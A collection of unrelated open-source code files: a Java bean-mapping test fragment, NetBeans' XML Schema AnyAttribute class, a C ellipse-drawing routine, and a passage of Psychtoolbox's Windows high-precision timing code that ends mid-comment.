JavaBeanPropertyDescriptor pd = new JavaBeanPropertyDescriptor(Dest.class, dozerField.getName(), dozerField.isIndexed(),
dozerField.getIndex(), null, null, beanContainer, new DestBeanCreator(beanContainer));
Class<?> clazz = pd.genericType();
assertNotNull("clazz should not be null", clazz);
assertEquals("NestedDest generic type", NestedDest.class, clazz);
}
}
| 639
|
1,056
|
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.netbeans.modules.xml.axi;
import org.netbeans.modules.xml.axi.visitor.AXIVisitor;
import org.netbeans.modules.xml.schema.model.Any.ProcessContents;
import org.netbeans.modules.xml.schema.model.SchemaComponent;
/**
* Represents anyAttribute in XML Schema.
*
* @author Samaresh (<EMAIL>)
*/
public class AnyAttribute extends AbstractAttribute {
/**
* Creates a new instance of AnyAttribute
*/
public AnyAttribute(AXIModel model) {
super(model);
}
/**
* Creates a new instance of AnyAttribute
*/
public AnyAttribute(AXIModel model, SchemaComponent schemaComponent) {
super(model, schemaComponent);
}
/**
* Creates a new instance of AnyAttributeProxy
*/
public AnyAttribute(AXIModel model, AXIComponent sharedComponent) {
super(model, sharedComponent);
}
/**
* Allows a visitor to visit this Attribute.
*/
public void accept(AXIVisitor visitor) {
visitor.visit(this);
}
/**
* Returns the name.
*/
public String getName() {
return "anyAttribute"; //NOI18N
}
/**
* Returns the processContents.
*/
public ProcessContents getProcessContents() {
return processContents;
}
/**
* Sets the processContents.
*/
public void setProcessContents(ProcessContents value) {
ProcessContents oldValue = getProcessContents();
if( (oldValue == null && value == null) ||
(oldValue != null && oldValue == value) ) {
return;
}
this.processContents = value;
firePropertyChangeEvent(PROP_PROCESSCONTENTS, oldValue, value);
}
/**
* Returns the target namespace.
*/
public String getTargetNamespace() {
return namespace;
}
/**
* Sets the target namespace.
*/
public void setTargetNamespace(String value) {
String oldValue = getTargetNamespace();
if( (oldValue == null && value == null) ||
(oldValue != null && oldValue.equals(value)) ) {
return;
}
this.namespace = value;
firePropertyChangeEvent(PROP_NAMESPACE, oldValue, value);
}
/**
* String representation of this Element.
*/
public String toString() {
return getName();
}
////////////////////////////////////////////////////////////////////
////////////////////////// member variables ////////////////////////
////////////////////////////////////////////////////////////////////
private String namespace;
private ProcessContents processContents;
////////////////////////////////////////////////////////////////////
////////////////// Properties for firing events ////////////////////
////////////////////////////////////////////////////////////////////
public static final String PROP_NAMESPACE = "namespace"; // NOI18N
public static final String PROP_PROCESSCONTENTS = "processContents"; // NOI18N
}
| 1,323
|
640
|
/*
Graphics functions requiring some of the LIB3D Extensions
ellipse( cx, cy, startangle, endangle, xradius, yradius)
Draw an ellipse arc delimited by 'startangle' and 'endangle',
specified in degrees.
$Id: ellipse.c,v 1.3 2013-10-09 06:10:33 stefano Exp $
*/
#include <graphics.h>
#include <lib3d.h>
void ellipse(int cx, int cy, int sa, int ea, int xradius, int yradius)
{
int i,k;
plot(cx+icos(sa)*xradius/256,cy+isin(sa)*yradius/256);
if (ea==0) k=360; else k=ea;
for (i=sa;i!=k;i++) {
if (i==360) i=0;
drawto(cx+icos(i)*xradius/256,cy+isin(i)*yradius/256);
}
}
| 277
|
357
|
/*
*
* PsychToolbox3/Source/Windows/Base/PsychTimeGlue.c
*
* AUTHORS:
*
* <EMAIL> mk
*
* PLATFORMS:
*
* Win32 only
*
* PROJECTS:
*
* All.
*
* HISTORY:
*
* 1/20/03 awi Wrote it for OS/X.
* 1/03/09 mk Add generic Mutex locking support as service to ptb modules.
*
*/
#include "Psych.h"
/*
* file local state variables
*/
// Pseudo-Threadstruct for masterPsychtoolboxThread: Used in PsychSetThreadPriority()
// and hopefully nowhere else:
static psych_threadstruct masterPsychtoolboxThread;
static psych_thread masterPsychtoolboxThreadhandle = NULL;
static psych_threadid masterThreadId;
// Module handle for the MMCSS interface API library 'avrt.dll': Or 0 if unsupported.
HMODULE Avrtlibrary = 0;
// dwmSupported is true if MMCSS is supported and library is linked:
static psych_bool AvrtSupported = FALSE;
// MMCSS function definitions and procpointers:
typedef BOOL (WINAPI *AvSetMmThreadPriorityPROC)(HANDLE AvrtHandle, int Priority);
typedef BOOL (WINAPI *AvRevertMmThreadCharacteristicsPROC)(HANDLE taskHandle);
typedef HANDLE (WINAPI *AvSetMmMaxThreadCharacteristicsPROC)(LPCTSTR firstTask, LPCTSTR secondTask, LPDWORD taskIndex);
AvSetMmThreadPriorityPROC PsychAvSetMmThreadPriority = NULL;
AvRevertMmThreadCharacteristicsPROC PsychAvRevertMmThreadCharacteristics = NULL;
AvSetMmMaxThreadCharacteristicsPROC PsychAvSetMmMaxThreadCharacteristics = NULL;
static double precisionTimerAdjustmentFactor;
static double estimatedGetSecsValueAtTickCountZero;
static psych_uint64 kernelTimebaseFrequencyHz;
static psych_bool counterExists;
static psych_bool firstTime;
static double sleepwait_threshold;
static psych_bool Timertrouble;
static psych_bool schedulingtrouble;
static double tickInSecsAtLastQuery;
static double timeInSecsAtLastQuery;
static double lowToHiBiasSecs;
static double backwardTimeJumpTolerance;
static double forwardTimeJumpTolerance;
static unsigned int failureHandlingModes;
static DWORD_PTR cpuMask, minAffinityCore;
static int verbosity = 0;
// Our critical section variable to guarantee exclusive access to PsychGetPrecisionTimerSeconds()
// in order to prevent race-conditions for the timer correctness checks in multi-threaded code:
CRITICAL_SECTION time_lock;
void PsychWaitUntilSeconds(double whenSecs)
{
static unsigned int missed_count=0;
double now=0.0;
// Get current time:
PsychGetPrecisionTimerSeconds(&now);
// If the deadline has already passed, we do nothing and return immediately:
if (now > whenSecs) return;
// Note that technically there is potential for a race-condition on the
// sleepwait_threshold and missed_count variables if multiple threads
// inside the same PTB module call PsychWaitUntilSeconds concurrently
// and miss their deadlines simultaneously --> concurrent update of that
// vars. However, currently no modules do this concurrently in threads,
// and even if, the worst case outcome -- sleepwait_threshold incrementing
// slower than possible -- is perfectly tolerable. Therefore we safe us
// the locking overhead here.
// Waiting stage 1: If we have more than sleepwait_threshold seconds left
// until the deadline, we call the OS Sleep() function, so the
// CPU gets released for difference - sleepwait_threshold s to other processes and threads.
// -> Good for general system behaviour and for lowered
// power-consumption (longer battery runtime for Laptops) as
// the CPU can go idle if nothing else to do...
while(whenSecs - now > sleepwait_threshold) {
// Sleep until only sleepwait_threshold away from deadline:
Sleep((int)((whenSecs - now - sleepwait_threshold) * 1000.0f));
// Recheck:
PsychGetPrecisionTimerSeconds(&now);
}
// Waiting stage 2: We are less than sleepwait_threshold s away from deadline.
// Perform busy-waiting until deadline reached:
while(now < whenSecs) PsychGetPrecisionTimerSeconds(&now);
// Check for deadline-miss of more than 1 ms:
if (now - whenSecs > 0.001) {
// Deadline missed by over 1 ms.
missed_count++;
if (missed_count>5) {
// Too many consecutive misses. Increase our threshold for sleep-waiting
// by 5 ms until it reaches 20 ms.
if (sleepwait_threshold < 0.02) sleepwait_threshold+=0.005;
printf("PTB-WARNING: Wait-Deadline missed for %i consecutive times (Last miss %0.6f ms). New sleepwait_threshold is %0.6f ms.\n",
missed_count, (now - whenSecs)*1000.0f, sleepwait_threshold*1000.0f);
// Reset missed count after increase of threshold:
missed_count = 0;
}
}
else {
// No miss detected. Reset counter...
missed_count=0;
}
// Ready.
return;
}
void PsychWaitIntervalSeconds(double delaySecs)
{
double deadline;
if (delaySecs <= 0) return;
// Get current time:
PsychGetPrecisionTimerSeconds(&deadline);
// Compute deadline in absolute system time:
deadline+=delaySecs;
// Wait until deadline reached:
PsychWaitUntilSeconds(deadline);
return;
}
/* PsychYieldIntervalSeconds() - Yield the cpu for given 'delaySecs'
*
* PsychYieldIntervalSeconds() differs from PsychWaitIntervalSeconds() in that
* it is supposed to release the cpu to other threads or processes for *at least*
* the given amount of time 'delaySecs', instead of *exactly* 'delaySecs'.
*
* If one wants to wait an exact amount of time, one uses PsychWaitIntervalSeconds().
* If one just "has nothing to do" for some minimum amount of time, and wants to
* play nice to other threads/processes and exact timing is not crucial, then
* this is the routine of choice. Typical use is within polling loops, where one
* wants to pause between polling cycles and it doesn't matter if the pause takes
* a bit longer.
*
* A 'delaySecs' of <= zero will just release the cpu for the remainder of
* the current scheduling timeslice. If you don't know what to do, choose a
* zero setting.
*
*/
void PsychYieldIntervalSeconds(double delaySecs)
{
if (delaySecs <= 0) {
// Yield cpu for remainder of this timeslice via special Sleep(0) call:
Sleep(0);
}
else {
// On MS-Windows we can't use PsychWaitIntervalSeconds(), as all
// its clever compensation mechanisms for the shoddy Windows schedulers
// flaws would likely turn the yield() into a cpu hogging busy-wait
// spinloop, which is not what we want!
//
// Therefore we use the Win32 function Sleep() directly, with a minimum
// sleep duration of 1 msec (or more). The requested sleep duration will
// turn into anything from 1 msec to multiple milliseconds for minimum
// sleep. For a multi-msecs sleep we can assume that it will sleep longer
// than requested by up to multiple msecs. Anyway, it will release the cpu...
delaySecs = (delaySecs > 0.001) ? delaySecs : 0.001;
Sleep((int) (delaySecs * 1000.0f));
}
}
double PsychGetKernelTimebaseFrequencyHz(void)
{
return((double) (psych_int64) kernelTimebaseFrequencyHz);
}
/* Returns TRUE on MS-Vista and later, FALSE otherwise: */
int PsychIsMSVista(void)
{
// Info struct for queries to OS:
OSVERSIONINFO osvi;
// Init flag to -1 aka unknown:
static int isVista = -1;
if (isVista == -1) {
// First call: Do the query!
// Query info about Windows version:
memset(&osvi, 0, sizeof(OSVERSIONINFO));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osvi);
// It is a Vista or later if major version is equal to 6 or higher:
// 6.0 = Vista, 6.1 = Windows-7, 5.2 = Windows Server 2003, 5.1 = WindowsXP, 5.0 = Windows 2000, 4.x = NT
isVista = (osvi.dwMajorVersion >= 6) ? 1 : 0;
}
// Return flag:
return(isVista);
}
/* Returns TRUE on Microsoft Windows 8 and later, FALSE otherwise: */
int PsychOSIsMSWin8(void)
{
// Info struct for queries to OS:
OSVERSIONINFO osvi;
// Init flag to -1 aka unknown:
static int isWin8 = -1;
if (isWin8 == -1) {
// First call: Do the query!
// Query info about Windows version:
memset(&osvi, 0, sizeof(OSVERSIONINFO));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osvi);
// It is a Windows-8 or later if version is equal to 6.2 or higher:
// 6.0 = Vista, 6.1 = Windows-7, 6.2 = Windows-8, 6.3 = Windows-8.1
isWin8 = ((osvi.dwMajorVersion > 6) || ((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion >= 2))) ? 1 : 0;
}
// Return flag:
return(isWin8);
}
/* Returns TRUE on Microsoft Windows 10 and later, FALSE otherwise: */
int PsychOSIsMSWin10(void)
{
#if defined(PTBMODULE_Screen) || defined(PTBMODULE_PsychPortAudio)
HKEY hkey;
// Init flag to -1 aka unknown:
static int isWin10 = -1;
if (isWin10 == -1) {
// First call: Do the query!
if (ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", 0, KEY_READ, &hkey)) {
// CurrentMajorVersionNumber key exists and could be opened? This is only possible on Windows-10 or later.
isWin10 = (ERROR_SUCCESS == RegQueryValueEx(hkey, "CurrentMajorVersionNumber", NULL, NULL, NULL, NULL)) ? 1 : 0;
RegCloseKey(hkey);
}
else {
// Not Windows-10 or later:
isWin10 = 0;
}
}
// Return flag:
return(isWin10);
#else
// Only Screen() ans PsychPortAudio() is currently allowed to call this function, because any mex file which needs this function must link against advapi32.lib,
// those do, but most other mex files don't. Warn and return false -- non Windows-10 -- as safe result.
printf("PTB-WARNING: Called PsychOSIsMSWin10() from something else than PTBMODULE_Screen or PTBMODULE_PsychPortAudio! This won't work. Modify source code to make it work if needed!\n");
return(0);
#endif
}
/* Called at module init time: */
void PsychInitTimeGlue(void)
{
LARGE_INTEGER counterFreq;
DWORD_PTR ProcessAffinityMask, SystemAffinityMask;
// Initialize our timeglue mutex:
// Alternative would be InitializeCriticalSection().
// Needs define _WIN32_WINNT as 0x0403 or later.
// This would be good to use, but my old Windows2000 box doesn't support it:
//if (!InitializeCriticalSectionAndSpinCount(&time_lock, 0x80000400)) {
// // We're screwed:
// printf("PTBCRITICAL -ERROR: In PsychInitTimeGlue() - failed to init time_lock!!! May malfunction or crash soon....\n");
//}
// Set override internal verbosity level for debugging, if specified by
// environment variable:
if (getenv("PSYCH_TIMEGLUE_VERBOSITY")) verbosity = atoi(getenv("PSYCH_TIMEGLUE_VERBOSITY"));
if (verbosity > 0) printf("PTB-INFO: TimeGlue debug output enabled at verbosity %i.\n", verbosity);
// Setup defaults for all state variables:
precisionTimerAdjustmentFactor=1;
kernelTimebaseFrequencyHz = 0;
if (QueryPerformanceFrequency(&counterFreq)) {
kernelTimebaseFrequencyHz = (psych_uint64) counterFreq.QuadPart;
}
counterExists=FALSE;
firstTime=TRUE;
sleepwait_threshold = 0.003;
Timertrouble = FALSE;
lowToHiBiasSecs = 0.0;
schedulingtrouble = FALSE;
tickInSecsAtLastQuery = -1;
timeInSecsAtLastQuery = -1;
// Initial allowable backwards jumps in time for the high precision clock
// is 100 Nanoseconds:
backwardTimeJumpTolerance = 1e-7;
// Allow override with environment variable, specifying tolerance in nanoseconds:
if (getenv("PSYCH_BACKWARD_TIMEJUMP_TOLERANCE_NSECS")) {
backwardTimeJumpTolerance = ((double) atoi(getenv("PSYCH_BACKWARD_TIMEJUMP_TOLERANCE_NSECS"))) / 1e9;
} else {
_putenv_s("PSYCH_BACKWARD_TIMEJUMP_TOLERANCE_NSECS", "100");
}
// Initial allowable forward jumps wrt. low-precision timer are tolerated up to 250 msecs:
forwardTimeJumpTolerance = 0.25;
// Allow override with environment variable, specifying tolerance in milliseconds:
if (getenv("PSYCH_FORWARD_TIMEJUMP_TOLERANCE_MSECS")) {
forwardTimeJumpTolerance = ((double) atoi(getenv("PSYCH_FORWARD_TIMEJUMP_TOLERANCE_MSECS"))) / 1e3;
} else {
_putenv_s("PSYCH_FORWARD_TIMEJUMP_TOLERANCE_MSECS", "250");
}
// failureHandlingModes is the logical or of following flags:
// 1 = Output critical-error warning message when detecting timer problems.
// 2 = Lock processing thread to cpu core zero on first detection of problem, then give high-res timer a 2nd chance.
// 4 = Switch to low-precision fallback timer on detection of problem while already locked to cpu core zero.
// 8 = Abort usercode script immediately with critical error on detection of problem that can't get resolved by flag 0x2.
// 16 = Run on low-precision timer from the beginning. Disable all checks.
// By default, we output a warning message each time we detect problems and switch scheduling
// of the thread to core zero on first detection of problems:
failureHandlingModes = 1 + 2;
// Allow override with environment variable:
if (getenv("PSYCH_CLOCKERROR_MODE")) {
failureHandlingModes = atoi(getenv("PSYCH_CLOCKERROR_MODE"));
} else {
_putenv_s("PSYCH_CLOCKERROR_MODE", "3");
}
// Warn user about use of low-precision timer by default:
if (failureHandlingModes & 16) printf("PTB-INFO: Selecting low-precision system clock for this session. Watch out for timing trouble!\n");
// Setup thread scheduling cpu mask so that thread(s) get locked to first
// available cpu core 'minAffinityCore' by default on WinXP and earlier, but
// not locked to any specific cores on Win-Vista and later, except if timing
// trouble is detected later during runtime:
minAffinityCore = 0x1;
// GetProcessAffinityMask() should return the mask of allowed processors for this process:
if (!GetProcessAffinityMask(GetCurrentProcess(), &ProcessAffinityMask, &SystemAffinityMask)) {
printf("PTB-WARNING: GetProcessAffinityMask() failed. Using fallback value INT64_MAX and hope for the best.\n");
// As fallback, assume all cores are fair game, and core 0 is the core to lock to in case of trouble:
ProcessAffinityMask = INT64_MAX;
}
else {
// Find first available core in mask to lock to in case of need:
while (!(minAffinityCore & ProcessAffinityMask))
minAffinityCore = minAffinityCore << 1;
}
cpuMask = (DWORD_PTR) (PsychIsMSVista() ? ProcessAffinityMask : minAffinityCore);
// Allow override with environment variable:
if (getenv("PSYCH_CPU_MASK")) {
cpuMask = (DWORD_PTR) atoi(getenv("PSYCH_CPU_MASK"));
}
// Set thread to new cpuMask:
PsychAutoLockThreadToCores(NULL);
// Redundant call just to retrieve effective cpuMask:
// This is needed because Windows translates our INT64_MAX cpu mask -
// allowing execution on the first 63 cores - into the effective mask,
// e.g., allowing execution on the 4 cores of a quad-processor system.
cpuMask = (DWORD_PTR) PsychAutoLockThreadToCores(NULL);
// Retrieve id of current thread, which is by definition the master thread:
masterThreadId = PsychGetThreadId();
// That is why we use the less capable critical section init call:
// Has less capable error handling etc., but what can one do...
InitializeCriticalSection(&time_lock);
// Init the master thread handle and associated struct:
masterPsychtoolboxThreadhandle = &masterPsychtoolboxThread;
memset(masterPsychtoolboxThreadhandle, 0, sizeof(masterPsychtoolboxThread));
// Setup mapping of ticks to time:
PsychEstimateGetSecsValueAtTickCountZero();
// Try to load and bind MMCSS API library on Microsoft Vista and later:
// This would allow us to take advantage of MMCSS scheduling for better timing precision...
AvrtSupported = FALSE;
Avrtlibrary = LoadLibrary("Avrt.dll");
if (Avrtlibrary) {
// Load success. Dynamically bind the relevant functions:
PsychAvSetMmThreadPriority = (AvSetMmThreadPriorityPROC) GetProcAddress(Avrtlibrary, "AvSetMmThreadPriority");
PsychAvSetMmMaxThreadCharacteristics = (AvSetMmMaxThreadCharacteristicsPROC) GetProcAddress(Avrtlibrary, "AvSetMmMaxThreadCharacteristicsA");
PsychAvRevertMmThreadCharacteristics = (AvRevertMmThreadCharacteristicsPROC) GetProcAddress(Avrtlibrary, "AvRevertMmThreadCharacteristics");
if (PsychAvSetMmThreadPriority && PsychAvSetMmMaxThreadCharacteristics && PsychAvRevertMmThreadCharacteristics) {
// Mark MMCSS API as supported:
AvrtSupported = TRUE;
}
else {
// Failed:
FreeLibrary(Avrtlibrary);
Avrtlibrary = 0;
PsychAvRevertMmThreadCharacteristics = NULL;
PsychAvSetMmMaxThreadCharacteristics = NULL;
PsychAvSetMmThreadPriority = NULL;
}
}
}
/* Called at module shutdown/jettison time: */
void PsychExitTimeGlue(void)
{
// Release our timeglue mutex:
DeleteCriticalSection(&time_lock);
// Free Avrt.dll if loaded: Disable MMCSS services...
if (AvrtSupported && Avrtlibrary) {
FreeLibrary(Avrtlibrary);
Avrtlibrary = 0;
AvrtSupported = FALSE;
PsychAvRevertMmThreadCharacteristics = NULL;
PsychAvSetMmMaxThreadCharacteristics = NULL;
PsychAvSetMmThreadPriority = NULL;
}
// NULL out the master thread handle:
masterPsychtoolboxThreadhandle = NULL;
return;
}
void PsychGetPrecisionTimerTicks(psych_uint64 *ticks)
{
LARGE_INTEGER count;
if (QueryPerformanceFrequency(&count) && !Timertrouble) {
QueryPerformanceCounter(&count);
*ticks = (psych_uint64) count.QuadPart;
}
else {
*ticks = (psych_uint64) timeGetTime();
}
return;
}
void PsychGetPrecisionTimerTicksPerSecond(double *frequency)
{
LARGE_INTEGER counterFreq;
// High precision timer available?
if (QueryPerformanceFrequency(&counterFreq) && !Timertrouble) {
// Yes. Returns its operating frequency:
*frequency=(double) counterFreq.QuadPart;
}
else {
// No. Return the 1 khZ tickfreq of the system tick.
*frequency=1000.0f;
}
return;
}
double PsychMapPrecisionTimerTicksToSeconds(psych_uint64 ticks)
{
if (!Timertrouble) {
return((double) (psych_int64) ticks / (double) (psych_int64) kernelTimebaseFrequencyHz);
}
else {
return(-1);
}
}
void PsychGetPrecisionTimerTicksMinimumDelta(psych_uint32 *delta)
{
// FIXME: Don't know if this is correct!
*delta=1;
}
/* Set thread affinity mask of calling thread to the modules global cpuMask:
*
* 'curCpuMask' is an in/out pointer. If NULL, it is completely ignored. If non-NULL,
* the target variable of the pointer will contain the new cpu mask after a change
* of mask. If the target variable already contains a valid (non-zero) current cpu mask
* and it matches the new target cpu mask, then the actual mask change is omitted, assuming it
* is redundant, thereby saving some system call overhead.
*
* Threads can avoid redundant switches if they keep track of their current cpu mask
* by caching it in the *curCpuMask pointer target. They can pass in a zero value if
* unsure, or a NULL pointer if they are neither interested in caching, nor in the old
* or new value.
*
* Returns the old pre-switch affinity mask as a 64-Bit bitfield.
* Comparing the return value (previous mask) with the *curCpuMask value (new mask)
* allows the caller to check if the affinity mask was actually changed, resulting
* in a possible thread migration.
*
* If this function is called without the time lock held, ie., from outside
* of other timeglue functions, a small race condition exists which may cause
* deferred updated to the real new affinity mask due to
*
*/
psych_uint64 PsychAutoLockThreadToCores(psych_uint64* curCpuMask)
{
DWORD_PTR oldCpuMask;
// If curCpuMask is valid and identical to current cpuMask, then our thread
// is already assigned the proper affinity mask and we no-op:
if (curCpuMask && (*curCpuMask != 0) && (*curCpuMask == (psych_uint64) cpuMask)) return((psych_uint64) cpuMask);
// Different curCpuMask and new cpuMask or curCpuMask unknown.
// Need to do a real transition:
if ((oldCpuMask = SetThreadAffinityMask(GetCurrentThread(), cpuMask)) == 0) {
// Binding failed! Output warning on first failed invocation, but only if
// we were really trying to lock to a single core to fix problems. Otherwise
// the failure should be without any real consequences, so don't scare the user:
if (!schedulingtrouble && (cpuMask == minAffinityCore)) {
schedulingtrouble = TRUE;
printf("PTBCRITICAL -ERROR: PsychTimeGlue - Win32 syscall SetThreadAffinityMask(%x) failed!!! Timing could be inaccurate.\n", cpuMask);
printf("PTBCRITICAL -ERROR: Time measurement may be highly unreliable - or even false!!!\n");
printf("PTBCRITICAL -ERROR: FIX YOUR SYSTEM! In its current state its not useable for conduction of studies!!!\n");
printf("PTBCRITICAL -ERROR: Check the FAQ section of the Psychtoolbox Wiki for more information.\n");
}
// Changing the cpu mask to cpuMask failed. The cpu mask is unchanged.
// Therefore curCpuMask is the same as before calling us, so we leave
// it unchanged. Return the old cpu mask as zero to signal failure:
return(0);
}
// If we reach this point, then the new cpu mask is cpuMask, because the call
// succeeded. Return it by updating curCpuMask if caller wants to know this:
if (curCpuMask) *curCpuMask = (psych_uint64) cpuMask;
// Return the old cpu mask oldCpuMask prior to the change:
return((psych_uint64) oldCpuMask);
}
void PsychGetPrecisionTimerSeconds(double *secs)
{
double ss, ticks, diff;
static LARGE_INTEGER counterFreq;
LARGE_INTEGER count;
static double oss;
static double oldticks;
static double lastSlowcheckTimeSecs;
static double lastSlowcheckTimeTicks;
psych_uint32 tick1, tick2, hangcount;
psych_uint64 curRawticks;
const char* envval;
psych_uint64 oldCpuMask;
psych_bool skipCheck = FALSE;
// First time init of timeglue: Set up system for high precision timing,
// and enable workarounds for broken systems:
if (firstTime) {
// Init state to defaults:
oss=0.0;
oldticks=0.0;
lastSlowcheckTimeSecs = -1;
lastSlowcheckTimeTicks = -1;
// Switch the system into high resolution timing mode, i.e.,
// 1 khZ timer interrupts aka 1 msec timer resolution, for both,
// the Sleep() command and TimeGetTime() queries. This way, our hybrid
// sleep-waiting algorithm for PsychWaitUntilSeconds() can work with
// tight busy-wait transition thresholds and doesn't burn too much
// CPU time. The timeGetTime() function then gets sufficient granularity -
// 1 msecs - to be a good reference for our correctness/consistency
// checks on the high precision timer, and it is a sufficient fallback
// in case of broken timers.
// The drawback is increased general interrupt load due to the 1 kHZ IRQ's...
if ((timeBeginPeriod(1)!=TIMERR_NOERROR) && (schedulingtrouble == FALSE)) {
// High precision mode failed! Output warning on first failed invocation...
schedulingtrouble = TRUE;
printf("PTBCRITICAL -ERROR: PsychTimeGlue - Win32 syscall timeBeginPeriod(1) failed!!! Timing will be inaccurate.\n");
printf("PTBCRITICAL -ERROR: Time measurement may be highly unreliable - or even false!!!\n");
printf("PTBCRITICAL -ERROR: FIX YOUR SYSTEM! In its current state its not useable for conduction of studies!!!\n");
printf("PTBCRITICAL -ERROR: Check the FAQ section of the Psychtoolbox Wiki for more information.\n");
// Increase switching threshold to 10 msecs to take low timer resolution into account:
sleepwait_threshold = 0.010;
}
// This command timeEndPeriod(1); should be used when flushing the MEX file, but
// we don't do it. Once a PsychTimeGlue function was called, we leave Matlab at
// high timing precision mode and rely on the OS to revert to standard Windoze
// behaviour, once the Matlab application is quit/terminated.
// Next step for broken systems: Bind our Matlab interpreter/PTB main thread to the
// specified cpu cores in the system, as stored in cpuMask. The only known way to make sure we don't get time
// readings from different TSCs due to our thread jumping between cpu's. TSC's on
// a multi-core system are not guaranteed to be synchronized, so if TSC is our timebase,
// this could lead to time inconsistencies - even time going backwards between queries!!!
// Drawback: We may not make optimal use of a multi-core system. On Vista and later, we assume
// everything will be fine, but still perform consistency checks at each call to PsychGetPrecisionTimerSeconds():
PsychAutoLockThreadToCores(NULL);
// Sleep us at least 10 msecs, so the system will reschedule us, with the
// thread affinity mask above applied. Don't know if this is needed, but
// better safe than sorry:
Sleep(10);
// Spin-Wait until timeGetTime() has switched to 1 msec resolution:
hangcount = 0;
while(hangcount < 100) {
tick1 = (psych_uint32) timeGetTime();
while((tick2=(psych_uint32) timeGetTime()) == tick1);
if ((tick2 > tick1) && (tick2 - tick1 == 1)) break;
hangcount++;
}
if (hangcount >= 100) {
// Totally foobared system! Output another warning but try to go on. Checks further below in code
// will trigger and provide counter measures - as far as this is possible with such a screwed system :-(
printf("PTB-CRITICAL WARNING! Timing code detected problems with the low precision TIMER in your system hardware!\n");
printf("PTB-CRITICAL WARNING! It doesn't run at the requested rate of 1 tick per millisecond. Interrupt problems?!?\n");
printf("PTB-CRITICAL WARNING! Your system is somewhat screwed up wrt. timing!\n");
printf("PTB-CRITICAL WARNING! It is NOT RECOMMENDED to continue using this machine for studies that require high\n");
printf("PTB-CRITICAL WARNING! timing precision in stimulus onset or response collection. No guarantees can be made\n");
printf("PTB-CRITICAL WARNING! wrt. to timing or correctness of any timestamps or stimulus onsets!\n");
printf("PTB-CRITICAL WARNING! Check the FAQ section of the Psychtoolbox Wiki for more information.\n\n");
}
// Ok, now timeGetTime() should have the requested 1 msec increment rate.
// Ok, this is a dumb solution, but at least sort of robust.
// We don't allow to use any timing function on a Windoze system that
// has more than 48 days of uptime. Rationale: At 49.8 days, the 32 bit
// tick counter will wrap around and leave our fallback- and reference
// timebase in an undefined state. Implementing proper wraparound handling
// for inifinite uptimes is not simple, due to PTB's modular nature and
// some special flaws of Windoze. Anyway, 48 days uptime is unlikely
// anyway, unless the user doesn't perform regular system updates...
if (((double) timeGetTime() * 0.001) > (3600 * 24 * 48)) {
// Uptime exceeds 48 days. Say user this is a no no:
printf("PTB-ERROR: Your system is running since over 48 days without a reboot. Due to some\n");
printf("PTB-ERROR: pretty disgusting design flaws in the Windows operating system, timing\n");
printf("PTB-ERROR: will become unreliable or wrong at uptimes of more than 49 days.\n");
printf("PTB-ERROR: Therefore PTB will not continue executing any time related function unless\n");
printf("PTB-ERROR: you reboot your machine now.\n\n");
// We can only safely abort on the master thread:
if (PsychGetThreadId() == masterThreadId) PsychErrorExitMsg(PsychError_user, "Maximum allowable uptime for Windows exceeded. Please reboot your system.");
}
// Is the high-precision timer supported?
counterExists = QueryPerformanceFrequency(&counterFreq);
// And does usercode not request us to ignore it? A 16 means to disable the high-precision timer:
if (failureHandlingModes & 16) counterExists = FALSE;
if (counterExists) {
// Initialize old counter values to now:
if (0 == QueryPerformanceCounter(&count)) {
Timertrouble = TRUE;
counterExists = FALSE;
oss = 0;
printf("PTB-CRITICAL WARNING! Timing code detected problems with the high precision TIMER in your system hardware!\n");
printf("PTB-CRITICAL WARNING! Initial call to QueryPerformanceCounter() failed!\n");
printf("PTB-CRITICAL WARNING! Will switch back to lower precision/resolution timer (only +/-1 millisecond accuracy at best).\n");
printf("PTB-CRITICAL WARNING! This can cause a cascade of errors, failures and problems in any timing related functions!!\n\n");
printf("PTB-CRITICAL WARNING! It is NOT RECOMMENDED to continue using this machine for studies that require any\n");
printf("PTB-CRITICAL WARNING! timing precision in stimulus onset or response collection. No guarantees can be made\n");
printf("PTB-CRITICAL WARNING! wrt. to timing or correctness of any timestamps or stimulus onsets!\n");
printf("PTB-CRITICAL WARNING! Read 'help GetSecsTest' and run GetSecsTest for further diagnosis and troubleshooting.\n");
printf("PTB-CRITICAL WARNING! It may also help to restart the machine to see if the problem is transient.\n");
printf("PTB-CRITICAL WARNING! Also check the FAQ section of the Psychtoolbox Wiki for more information.\n\n");
}
else {
oss = ((double)count.QuadPart)/((double)counterFreq.QuadPart);
}
}
// Sleep us another 10 msecs to make sure there is a significant difference between
// first invocation and successive invocations:
Sleep(10);
}
// Need to acquire our timelock before we continue, for atomic timestamping and as we will soon access shared data structures:
EnterCriticalSection(&time_lock);
// Check for updated cpu mask environment variable:
if ((failureHandlingModes & 0x2) && (envval = getenv("PSYCH_CPU_MASK"))) {
// Assign new cpuMask and relock thread to corresponding cores:
cpuMask = (DWORD_PTR) atoi(envval);
oldCpuMask = PsychAutoLockThreadToCores(NULL);
// If the cpu affinity mask really changed for this thread during
// PsychAutoLockThreadToCores() then the thread may have migrated
// between cpu cores as a result of the mask change. This means that
// it has jumped TSCs and we should skip all correctness checks during
// this iteration, so a new baseline for checks can be established for
// the next invocation:
if (oldCpuMask && (oldCpuMask != (psych_uint64) cpuMask)) {
// We can get here because either the effective cpu mask has really
// changed above, or because the effective cpu mask is not identical
// in value to cpuMask, e.g., because we passed in 0xffffffff as mask,
// but the system truncated it to 0x3 for a dual-core system with only
// cpus 0 and 1 installed. Only if the effective mask has really changed
// then we should skip tests. Disambiguate: Executing the lock operation again
// will be effectively a no-op, but it returns the "old" cpuMask which is due
// to the no-op already the effective new cpuMask. In other words, cpuMask
// now really contains a value we can effectively compare against oldCpuMask.
//
// If the comparison still shows a preswitch to postswitch difference, then
// the affinity mask for this thread has really changed and we need to skip
